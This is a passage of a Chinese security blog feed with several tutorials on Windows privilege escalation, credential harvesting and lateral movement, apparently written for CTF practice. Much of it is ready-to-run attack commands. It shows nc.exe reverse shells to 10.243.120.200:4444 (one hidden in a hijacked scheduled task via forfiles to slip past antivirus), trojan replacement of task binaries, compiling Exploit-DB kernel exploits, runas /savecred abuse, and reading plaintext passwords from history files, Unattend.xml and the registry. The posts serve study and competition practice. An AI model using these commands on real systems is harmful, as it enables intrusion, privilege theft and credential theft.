title="工作组四:密码复用或打内核洞"></a>工作组四:密码复用或打内核洞</h2><p>通常靠<strong>密码复用</strong>(可能所有机器的 Administrator 密码都一样),或者利用 MS17-010(永恒之蓝)等通杀漏洞一台一台打过去。</p><h1 id="总结渗透流程"><a href="#总结渗透流程" class="headerlink" title="总结渗透流程"></a>总结渗透流程</h1><ol><li><p><strong>环境探针</strong>:敲 <code>systeminfo | findstr /i "Domain"</code> 看看有没有域后缀(判断在不在域内)。</p></li><li><p><strong>抓取密码</strong>:提权到 SYSTEM,立刻抓取本机的 NTLM Hash 和明文密码(因为这里面可能包含了刚刚登录过的域管密码,这叫“凭证提权”)。</p></li><li><p><strong>建立据点</strong>:传一个 <code>chisel</code> 或 <code>frp</code>,打通你的 Ubuntu 到内网的 Socks5 隧道。</p></li><li><p><strong>轻量刺探</strong>:挂上代理,用 <code>fscan</code> 轻量级扫描内网 B 段或 C 段,找 MS17-010 漏洞、找 Weblogic 弱口令、找域控 IP。</p></li><li><p><strong>滚雪球</strong>:用抓到的密码去撞库(CrackMapExec),拿下一台新机器 -> 抓密码 -> 再撞库,直到拿到域管权限。</p></li><li><p><strong>终局之战</strong>:导出域控上所有的密码(DCSync),完成清场。</p></li></ol>]]></content>
<summary type="html"><h1 id="基础概念:"><a href="#基础概念:" class="headerlink" title="基础概念:"></a>基础概念:</h1><h2 id="什么是内网横向移动?"><a href="#什么是内网横向移动?" class="headerlink" </summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="内网横向" scheme="http://example.com/categories/ISW/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91/"/>
<category term="横向移动" scheme="http://example.com/tags/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/"/>
<category term="域控" scheme="http://example.com/tags/%E5%9F%9F%E6%8E%A7/"/>
<category term="内网横向基础" scheme="http://example.com/tags/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91%E5%9F%BA%E7%A1%80/"/>
</entry>
<entry>
<title>Windows提权6:计划任务与启动项</title>
<link href="http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%836_%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E4%B8%8E%E5%90%AF%E5%8A%A8%E9%A1%B9/"/>
<id>http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%836_%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E4%B8%8E%E5%90%AF%E5%8A%A8%E9%A1%B9/</id>
<published>2026-03-21T04:00:00.000Z</published>
<updated>2026-03-21T04:03:59.883Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>“服务提权(第三章)”是我们主动去忽悠系统管家帮我们办事。而“计划任务(Scheduled Tasks)”与“启动项(Autoruns)”提权,则是我们在必经之路上挖好坑,<strong>等着高权限用户(或系统自己)按时走过来踩进去。</strong></p><p>这两者的本质依然是:<strong>找高权限运行的程序 -> 检查我们能不能篡改它 -> 替换成木马 -> 等待触发。</strong></p><h1 id="一、计划任务劫持"><a href="#一、计划任务劫持" class="headerlink" title="一、计划任务劫持"></a>一、计划任务劫持</h1><p>企业环境里,管理员经常会设置一些定时脚本:</p><p>比如“每天凌晨 2 点用 SYSTEM 权限运行一次 <code>C:\Backup\backup.bat</code> 来清理日志”。这就是我们的提权跳板。</p><h2 id="发现高价值目标"><a href="#发现高价值目标" class="headerlink" title="发现高价值目标"></a>发现高价值目标</h2><p>在实战中,<strong>首选永远是看 <code>WinPEAS</code> 的红色输出</strong>。如果你必须手工查(或者 WinPEAS 被杀了),可以使用以下命令寻找非系统自带的计划任务:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看所有计划任务的详细信息(输出很多)</span></span><br><span class="line">schtasks /query /fo LIST /v</span><br><span class="line"></span><br><span class="line"><span class="comment"># 过滤技巧:找那些以 SYSTEM 身份运行的任务</span></span><br><span class="line">schtasks /query /fo LIST /v | findstr /i <span class="string">"TaskToRun RunAs"</span> | findstr /i <span class="string">"SYSTEM"</span></span><br></pre></td></tr></table></figure><h2 id="漏洞验证"><a href="#漏洞验证" class="headerlink" title="漏洞验证"></a>漏洞验证</h2><p>假设你发现了一个任务:每天运行 <code>C:\Tasks\cleanup.exe</code>,运行身份是 <code>NT AUTHORITY\SYSTEM</code>。立刻拿着这个路径去查权限:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">icacls <span class="string">"C:\Tasks\cleanup.exe"</span></span><br></pre></td></tr></table></figure><p>如果你看到 <code>BUILTIN\Users:(M)</code> 或 <code>(W)</code> 或 <code>(F)</code>,<strong>说明可以打</strong></p><h2 id="触发exp"><a href="#触发exp" class="headerlink" title="触发exp"></a>触发exp</h2><p>把你的反弹 Shell 武器(比如 <code>nc.exe</code> 或者一个恶意的 <code>.bat</code> 脚本)覆盖掉原文件:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 备份原文件是个好习惯</span></span><br><span class="line">move C:\Tasks\cleanup.exe C:\Tasks\cleanup.exe.bak</span><br><span class="line"></span><br><span class="line"><span class="comment"># 把你的木马放进去</span></span><br><span class="line">copy C:\Windows\Temp\nc.exe C:\Tasks\cleanup.exe</span><br></pre></td></tr></table></figure><p><strong>触发方式</strong>:</p><ol><li><p><strong>等</strong>:如果是每 5 分钟执行一次,你在 Ubuntu 里敲好 <code>nc -lvnp 4444</code> 等它自己弹回来。</p></li><li><p><strong>强行触发</strong>:有时候你运气极好,普通用户也有权手动启动这个任务:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">schtasks /run /tn <span class="string">"那个任务的名字"</span></span><br></pre></td></tr></table></figure></li></ol><h1 id="二、-启动项-Autoruns-劫持"><a href="#二、-启动项-Autoruns-劫持" class="headerlink" title="二、 启动项 (Autoruns) 劫持"></a>二、 启动项 (Autoruns) 劫持</h1><p>启动项指的是电脑开机、或某个用户登录桌面时会自动运行的程序。如果管理员配置了一个每次开机都会以高权限运行的辅助工具,且你对其有写权限,就能利用。</p><h2 id="查启动项注册表"><a href="#查启动项注册表" class="headerlink" title="查启动项注册表"></a>查启动项注册表</h2><p>Windows 的自动启动程序大多记录在注册表里。重点查这几个键值:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 机器级别的启动项(所有用户登录都会触发)</span></span><br><span class="line">reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</span><br><span class="line">reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果是64位系统,别忘了查32位的注册表项</span></span><br><span class="line">reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run</span><br></pre></td></tr></table></figure><h2 id="验证与替换"><a href="#验证与替换" class="headerlink" title="验证与替换"></a>验证与替换</h2><ol><li><p>观察上面的输出,找到非 <code>C:\Windows\System32\</code> 下的第三方程序路径(比如 <code>C:\Tools\SysMonitor.exe</code>)。</p></li><li><p>用老套路跑一遍 <code>icacls "C:\Tools\SysMonitor.exe"</code>。</p></li><li><p>如果可写,覆盖替换为木马。</p></li></ol><h1 id="三、-计划任务与LOLBAS配合"><a href="#三、-计划任务与LOLBAS配合" class="headerlink" title="三、 计划任务与LOLBAS配合"></a>三、 计划任务与LOLBAS配合</h1><p>在最高端的实战对抗中,你查到的高权限计划任务,执行的往往<strong>不是</strong>第三方脚本,而是<strong>系统自带的合法程序</strong>。</p><h2 id="看到什么特征才去查-LOLBAS?"><a href="#看到什么特征才去查-LOLBAS?" class="headerlink" title="看到什么特征才去查 LOLBAS?"></a>看到什么特征才去查 LOLBAS?</h2><p>你<strong>绝对不需要</strong>挨个去查所有的 exe。在实战中,只有当<strong>以下三个条件同时满足</strong>时,你的脑子里才应该去找利用payload:</p><p><strong>特征 1:目标是微软系统原生物件</strong></p><ul><li><p>你看了一眼路径,它是 <code>C:\Windows\System32\</code>、<code>C:\Windows\SysWOW64\</code> 或者 <code>C:\Windows\Microsoft.NET\</code> 下的程序(比如 <code>forfiles.exe</code>, <code>certutil.exe</code>, <code>msxsl.exe</code>, <code>bash.exe</code>)。</p></li><li><p><strong>说明</strong>:如果是 <code>C:\Program Files\某个国产软件\a.exe</code>,查 LOLBAS 没用,它不收录第三方软件。</p></li></ul><p><strong>特征 2:文件本身不可写</strong></p><ul><li><p>跑了 <code>icacls "C:\Windows\System32\forfiles.exe"</code>,发现普通用户只有 <code>(RX)</code> 权限。</p></li><li><p><strong>说明</strong>:路被堵死了,传统的“替换 exe”打法失效。</p></li></ul><p><strong>特征 3:你可以控制它的参数或配置文件</strong> 这是最核心的条件。</p><p>虽然文件改不了,但你发现:</p><ul><li><p><strong>能改参数</strong>:你发现你对这个计划任务对象本身有 <code>Change</code> 权限。你可以用 <code>schtasks /change</code> 把原本的 <code>forfiles /p c:\</code> 改成你想要的恶意exe参数。</p></li><li><p><strong>能改它读取的文件</strong>:你发现任务执行的是 <code>msxsl.exe C:\config.xml C:\style.xsl</code>。虽然 <code>msxsl.exe</code> 改不了,但你去跑了下 <code>icacls</code> 发现,那个 <code>C:\style.xsl</code> 文件你<strong>可写</strong></p></li><li><p><strong>如何知道能不能修改参数?(针对计划任务)</strong> 我们使用 <code>schtasks /change</code> 篡改参数,<strong>并不是</strong>去修改 <code>forfiles.exe</code> 这个程序本身(你也改不了它,它是受保护的系统组件)。我们是去修改”<strong>系统清理任务</strong>“ 这个计划任务本身的配置。在 Windows 里,计划任务其实是以 XML 文件的形式存在 <code>C:\Windows\System32\Tasks\</code> 目录下的。你怎么知道自己能不能改这个任务?</p><ol><li><p><strong>自动化检测</strong>:<strong>WinPEAS</strong> 扫完后,如果发现普通用户对某个高权限任务拥有 <code>Modify</code> 权限,它会直接用<strong>红色</strong>在终端里警告你</p></li><li><p><strong>手工检测</strong>:你可以用 <code>icacls "C:\Windows\System32\Tasks\系统清理任务"</code> 去查权限,如果有 <code>(M)</code> 或 <code>(W)</code> 或 <code>(F)</code>,说明你可以敲 <code>schtasks /change</code> 命令来篡改它的参数。</p></li></ol></li><li><p><strong>如何知道能不能写文件?(针对配置文件)</strong> 和之前一样用 <code>icacls</code> 命令</p></li></ul><h2 id="实战演示:"><a href="#实战演示:" class="headerlink" title="实战演示:"></a>实战演示:</h2><p>当你满足上述公式,打开 LOLBAS 网站搜索 <code>forfiles.exe</code>,知识库会直接把答案喂到你嘴边:</p><blockquote><p>_LOLBAS 提示:<code>forfiles</code> 的 <code>/c</code> 参数可以用来执行任意系统命令。_</p></blockquote><p><img data-src="/images/ISW/Win提权/6/LOLBAS.png" alt="LOLBAS"></p><p>于是你直接敲命令篡改任务参数:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 严格对齐 LOLBAS 格式,将 calc.exe 替换为我们的木马</span></span><br><span class="line">schtasks /change /tn <span class="string">"系统清理任务"</span> /tr <span class="string">"forfiles.exe /p c:\windows\system32 /m notepad.exe /c \"cmd /c C:\Windows\Temp\nc.exe 10.243.120.200 4444 -e cmd.exe\""</span></span><br></pre></td></tr></table></figure><p>当下一次任务触发时,Windows 杀软一看是系统自带的程序在运行,直接绿灯放行;殊不知它已经在参数的驱使下,把你的反弹 Shell 悄悄拉了起来。</p>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>“服务提权(第三章)”是我们主动去忽悠系统管家帮我们办事。而“计划任务(Scheduled Tasks)”与“启动项(Autorun</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Windows提权" scheme="http://example.com/categories/ISW/Windows%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="Windows" scheme="http://example.com/tags/Windows/"/>
<category term="计划任务" scheme="http://example.com/tags/%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1/"/>
</entry>
<entry>
<title>Windows提权5:内核漏洞</title>
<link href="http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%835_%E5%86%85%E6%A0%B8/"/>
<id>http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%835_%E5%86%85%E6%A0%B8/</id>
<published>2026-03-21T03:00:00.000Z</published>
<updated>2026-03-20T15:39:35.288Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>当靶机的权限配置滴水不漏、吃不了土豆、翻不到密码时,只能打Windows 内核漏洞(如经典的 MS16-032,或者近年来的 PrintNightmare, CVE-2023-21768)能直接从操作系统最底层的内存 Ring0 级别强行拔高你的权限。</p><p><strong>为什么这是最后手段?</strong> 因为内核漏洞极不稳定,一旦利用失败(比如内存偏移量没算准),靶机会<strong>瞬间蓝屏死机</strong>。在比赛中这可能导致靶机重置,在实战中会导致业务崩溃+立刻暴露。<strong>所以,永远把内核强打放在提权手法的最后一位。</strong></p><h1 id="内核利用流程:"><a href="#内核利用流程:" class="headerlink" title="内核利用流程:"></a>内核利用流程:</h1><h2 id="Step-1-收集靶机的信息"><a href="#Step-1-收集靶机的信息" class="headerlink" title="Step 1: 收集靶机的信息"></a>Step 1: 收集靶机的信息</h2><p>在低权限靶机的黑框框里,把系统的详细版本和打过的补丁历史全导出来:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systeminfo > C:\Windows\Temp\sysinfo.txt</span><br></pre></td></tr></table></figure><p>用蚁剑、冰蝎或者 <code>certutil</code> 配合你在 Ubuntu 开的接收端,把这个 <code>sysinfo.txt</code> 拿回你的攻击机。</p><h2 id="Step-2-WES-NG扫描"><a href="#Step-2-WES-NG扫描" class="headerlink" title="Step 2: WES-NG扫描"></a>Step 2: WES-NG扫描</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 wes.py sysinfo.txt -i <span class="string">'Elevation of Privilege'</span> --exploits-only</span><br></pre></td></tr></table></figure><ul><li><p><code>-i 'Elevation of Privilege'</code>:只要“提权”漏洞。</p></li><li><p><code>--exploits-only</code>:只列出那些在 GitHub 或 Exploit-DB 上<strong>已经有现成可用武器代码</strong>的漏洞。</p></li></ul><h2 id="Step-3-准备-EXP"><a href="#Step-3-准备-EXP" class="headerlink" title="Step 3: 准备 EXP"></a>Step 3: 准备 EXP</h2><p>假设 WES-NG 的输出告诉你,这台机器大概率存在 <code>CVE-2023-21768</code> (Windows AFD 本地提权漏洞),拿到 CVE 编号后,直接在 Ubuntu 里调用本地 EDB 搜刮源码:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 搜索该 CVE 对应的 Windows 本地提权漏洞</span></span><br><span class="line">searchsploit CVE-2016-0099 windows <span class="built_in">local</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 将找到的 C 语言源码或脚本拷贝到当前目录 (假设 ID 是 39719)</span></span><br><span class="line">searchsploit -m 39719</span><br></pre></td></tr></table></figure><h2 id="Step-4-交叉编译"><a href="#Step-4-交叉编译" class="headerlink" title="Step 4: 交叉编译"></a>Step 4: 交叉编译</h2><p>从 EDB 拷出来的往往是一个 <code>39719.c</code> 的 C 语言源码文件。<strong>你不能用普通的 <code>gcc</code> 去编译它,因为那是给 Linux 生成 ELF 文件的</strong></p><p>你必须使用 <strong>MinGW-w64</strong> 把它编译成 Windows 认识的 <code>.exe</code>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 编译为 Windows 64位可执行文件 (-lws2_32 是链接 Windows 网络库,很多 EXP 需要)</span></span><br><span class="line">x86_64-w64-mingw32-gcc 39719.c -o exp.exe -lws2_32</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果是老旧的 32 位系统靶机,则使用:</span></span><br><span class="line">i686-w64-mingw32-gcc 39719.c -o exp32.exe -lws2_32</span><br></pre></td></tr></table></figure><h2 id="Step-5-投递exp"><a href="#Step-5-投递exp" class="headerlink" title="Step 5: 投递exp"></a>Step 5: 投递exp</h2><p>把你的 <code>exp.exe</code> 和反弹 Shell 用的 <code>nc.exe</code> 一起传到靶机的 <code>C:\Windows\Temp\</code>。</p><p>大部分优秀的内核 EXP 都支持在后面带上你要执行的命令。在靶机 CMD 中敲下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\exp.exe <span class="string">"C:\Windows\Temp\nc.exe 10.243.120.200 4444 -e cmd.exe"</span></span><br></pre></td></tr></table></figure><p>如果运气好没有蓝屏,ubuntu就有system权限的反弹shell了</p><p>或者直接运行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Windows\Temp\exp.exe</span><br></pre></td></tr></table></figure><p>在对应终端也能拿到system</p><h1 id="必备经典老洞"><a href="#必备经典老洞" class="headerlink" title="必备经典老洞"></a>必备经典老洞</h1><p>虽然你会了交叉编译,但在分秒必争的比赛中,以下四个经典漏洞请<strong>务必提前在有网的环境下载好预编译的稳定版 <code>.exe</code></strong> 放在你的工具包里</p><ol><li><p><strong>MS16-032 (Secondary Logon 提权)</strong></p><ul><li>极其稳定,几乎不蓝屏,老系统通杀。有著名的 PowerShell 版脚本 <code>Invoke-MS16032.ps1</code>,直接内存加载,无需编译。</li></ul></li><li><p><strong>MS14-058 (TrackPopupMenu 提权)</strong></p><ul><li>Win7 / Server 2008 必备。</li></ul></li><li><p><strong>MS15-051 (Win32k 提权)</strong></p><ul><li>对应 EXP 常被叫做 <code>ms15-051.exe</code> 或 <code>ms15-051x64.exe</code>。</li></ul></li><li><p><strong>CVE-2021-1675 / CVE-2021-34527 (PrintNightmare)</strong></p><ul><li>如果遇到 Server 2019 没打补丁,直接秒杀。</li></ul></li></ol>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>当靶机的权限配置滴水不漏、吃不了土豆、翻不到密码时,只能打Windows 内核漏洞(如经典的 MS16-032,或者近年来的 Pri</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Windows提权" scheme="http://example.com/categories/ISW/Windows%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="Windows" scheme="http://example.com/tags/Windows/"/>
<category term="内核" scheme="http://example.com/tags/%E5%86%85%E6%A0%B8/"/>
</entry>
<entry>
<title>Windows提权4:凭据大搜刮与敏感文件</title>
<link href="http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%834_%E5%87%AD%E6%8D%AE%E5%A4%A7%E6%90%9C%E5%88%AE%E4%B8%8E%E6%95%8F%E6%84%9F%E6%96%87%E4%BB%B6/"/>
<id>http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%834_%E5%87%AD%E6%8D%AE%E5%A4%A7%E6%90%9C%E5%88%AE%E4%B8%8E%E6%95%8F%E6%84%9F%E6%96%87%E4%BB%B6/</id>
<published>2026-03-21T02:00:00.000Z</published>
<updated>2026-03-20T15:12:25.261Z</updated>
<content type="html"><![CDATA[<h1 id="核心思想:管理员也是人,是人就会犯错"><a href="#核心思想:管理员也是人,是人就会犯错" class="headerlink" title="核心思想:管理员也是人,是人就会犯错"></a>核心思想:管理员也是人,是人就会犯错</h1><p>在拿到一个低权限的 <strong>反弹shell</strong> 后,第一个要干的就是一个一个查下面有没有满足条件的敏感信息泄露</p><h1 id="实战:"><a href="#实战:" class="headerlink" title="实战:"></a>实战:</h1><h2 id="一、-PowerShell-历史记录"><a href="#一、-PowerShell-历史记录" class="headerlink" title="一、 PowerShell 历史记录"></a>一、 PowerShell 历史记录</h2><p>Linux 有 <code>.bash_history</code>,Windows 同样有 <code>ConsoleHost_history.txt</code>。管理员在排查问题时,经常会用 PowerShell 临时连一下数据库或其它主机,密码往往就明文留在里面。</p><h3 id="搜刮命令"><a href="#搜刮命令" class="headerlink" title="搜刮命令"></a>搜刮命令</h3><p>在命令行中直接读取当前用户的历史记录(也可以去查其他你拥有读取权限的用户的文件夹):</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">type</span> %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt <span class="comment"># cmd</span></span><br><span class="line"><span class="built_in">type</span> <span class="variable">$env:userprofile</span>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt <span class="comment"># powershell</span></span><br></pre></td></tr></table></figure><p>_(注:<code>%userprofile%</code> 环境变量会自动指向当前用户的家目录,比如 <code>C:\Users\s0m1ng</code>)_</p><h3 id="输出观察"><a href="#输出观察" class="headerlink" title="输出观察"></a>输出观察</h3><p>如果你在输出中看到了类似这样的代码,直接就结束了</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$password</span> = ConvertTo-SecureString <span class="string">"Admin@ISW2026!"</span> -AsPlainText -Force</span><br><span class="line">net use \\10.0.0.5\c$ /user:Administrator <span class="string">"Admin@ISW2026!"</span></span><br></pre></td></tr></table></figure><h2 id="二、-凭据管理器与-RunAs-利用-记住密码"><a href="#二、-凭据管理器与-RunAs-利用-记住密码" class="headerlink" title="二、 凭据管理器与 RunAs 利用(记住密码)"></a>二、 凭据管理器与 RunAs 利用(记住密码)</h2><p>Windows 有一个凭据管理器。如果管理员在登录某些服务时勾选了“记住密码”,这些凭据就会被系统妥善保存。</p><h3 id="查看保存的凭据"><a href="#查看保存的凭据" class="headerlink" title="查看保存的凭据"></a>查看保存的凭据</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cmdkey /list</span><br></pre></td></tr></table></figure><p><strong>重点关注</strong>:回显中是否有 <code>Target: Domain:interactive=WORKGROUP\Administrator</code> 这样的高权限账号凭据。</p><h3 id="实战利用:RunAs-savecred-神仙连招"><a href="#实战利用:RunAs-savecred-神仙连招" class="headerlink" title="实战利用:RunAs /savecred (神仙连招)"></a>实战利用:RunAs /savecred (神仙连招)</h3><p>如果你发现系统保存了 Administrator 的凭据,你<strong>不需要知道密码的具体明文</strong>,可以直接命令系统“用保存的密码”以 Administrator 的身份去执行你的木马</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 假设你的木马已经传到了 C:\Windows\Temp\Enterprise.exe</span></span><br><span class="line">runas /savecred /user:Administrator <span class="string">"C:\Windows\Temp\Enterprise.exe"</span></span><br></pre></td></tr></table></figure><p>_敲下回车后,你的 Ubuntu 监听端 (<code>nc -lvnp 4444</code>) 就会直接弹回一个 Administrator 权限的 Shell_</p><h2 id="三、-无人值守应答文件-Unattend-xml"><a href="#三、-无人值守应答文件-Unattend-xml" class="headerlink" title="三、 无人值守应答文件(Unattend.xml)"></a>三、 无人值守应答文件(Unattend.xml)</h2><p>在企业环境中,管理员经常使用“无人值守应答文件”来批量自动重装 Windows 系统。文件里包含了系统初始化时的所有配置,包括<strong>新创建的本地管理员密码</strong>。</p><h3 id="常见搜刮路径"><a href="#常见搜刮路径" class="headerlink" title="常见搜刮路径"></a>常见搜刮路径</h3><p>用 <code>dir</code> 配合 <code>/s</code> (递归搜索) 去这几个地方找找:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">dir</span> /s /b C:\Windows\Panther\*.xml</span><br><span class="line"><span class="built_in">dir</span> /s /b C:\Windows\System32\sysprep\*.xml</span><br></pre></td></tr></table></figure><p>_常见文件名:<code>Unattend.xml</code>, <code>autounattend.xml</code>_</p><h3 id="密码提取与解码"><a href="#密码提取与解码" class="headerlink" title="密码提取与解码"></a>密码提取与解码</h3><p>用 <code>type</code> 命令查看文件内容,直接全局搜索 <code><Password></code> 或 <code><AdministratorPassword></code> 标签。你会发现密码通常长这样:<code>cGFzc3dvcmQxMjM=</code> </p><p>这通常是 Base64 编码,甚至有时只是简单的明文。</p><p>拿到明文密码后,配合前面的 <code>RunAs</code> 或者后面要学的内网横向工具直接登录。</p><p><strong>但是这个要注意:windows和linux最不一样的点来了</strong>,linux拿到明文密码后可以直接su root,因为我们反弹shell到靶机可以升级我们的shell,所以su不会卡死在输入密码的部分</p><p>但是windows没有pyt这个python模块,没法升级。所以我们输入:<code>runas /user:Administrator cmd.exe</code> 屏幕上确实会显示“<code>请输入 Administrator 的密码:</code>”,但此时由于底层输入流(STDIN)的限制,你敲键盘是输不进去密码的,最后只能卡死或者报错退出来。</p><p><strong>解决方法:</strong></p><ul><li><p><strong>方法一:从 Ubuntu 攻击机直接正向连接</strong></p><p>既然有了账号密码,就不需要在破烂的反弹 Shell 里挣扎了。直接在你的 Ubuntu 终端里用 Impacket 工具包远程登录靶机,瞬间获取一个完美的 SYSTEM 级交互式 Shell:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用 psexec.py 登录(密码建议用单引号包裹防转义)</span></span><br><span class="line">impacket-psexec Administrator:<span class="string">'Admin@123'</span>@靶机的IP</span><br></pre></td></tr></table></figure></li><li><p><strong>方法二:在当前 Shell 中用 PowerShell 提权执行</strong> </p><p>如果你无法从外部直接连接靶机(比如靶机藏在内网深处),你需要用 PowerShell 把明文密码转换成“安全凭据对象”,然后以管理员身份执行你的反弹木马(如 <code>nc.exe</code>):</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 启动 PowerShell</span></span><br><span class="line">powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 将明文密码转为安全字符串并创建凭据</span></span><br><span class="line"><span class="variable">$pass</span> = ConvertTo-SecureString <span class="string">'Admin@123'</span> -AsPlainText -Force</span><br><span class="line"><span class="variable">$cred</span> = New-Object System.Management.Automation.PSCredential(<span class="string">'Administrator'</span>, <span class="variable">$pass</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 带凭据静默启动 nc.exe 反弹 Shell 给 Ubuntu</span></span><br><span class="line">Start-Process -FilePath <span class="string">"C:\Windows\Temp\nc.exe"</span> -ArgumentList <span class="string">"你的UbuntuIP 4444 -e cmd.exe"</span> -Credential <span class="variable">$cred</span></span><br></pre></td></tr></table></figure></li></ul><h2 id="四、-注册表中的自动登录密码"><a href="#四、-注册表中的自动登录密码" class="headerlink" title="四、 注册表中的自动登录密码"></a>四、 注册表中的自动登录密码</h2><p>为了让服务器重启后能自动进入桌面运行某些业务程序,管理员会在注册表中配置“自动登录”,这里的密码是<strong>绝对的明文</strong>。</p><h3 id="查询命令"><a href="#查询命令" class="headerlink" title="查询命令"></a>查询命令</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg query <span class="string">"HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"</span></span><br></pre></td></tr></table></figure><h3 id="观察点"><a href="#观察点" class="headerlink" title="观察点"></a>观察点</h3><p>仔细看回显,如果同时存在以下三个键值,就是我们想要的:</p><ul><li><p><code>DefaultUserName</code> (用户名)</p></li><li><p><code>DefaultDomainName</code> (域名)</p></li><li><p><code>DefaultPassword</code> (<strong>明文密码</strong>)</p></li></ul><h2 id="五、-SAM-与-SYSTEM-提取-内网横向的桥梁"><a href="#五、-SAM-与-SYSTEM-提取-内网横向的桥梁" class="headerlink" title="五、 SAM 与 SYSTEM 提取 (内网横向的桥梁)"></a>五、 SAM 与 SYSTEM 提取 (内网横向的桥梁)</h2><p>如果你翻遍了所有明文都没找到,最终的招数就是提取 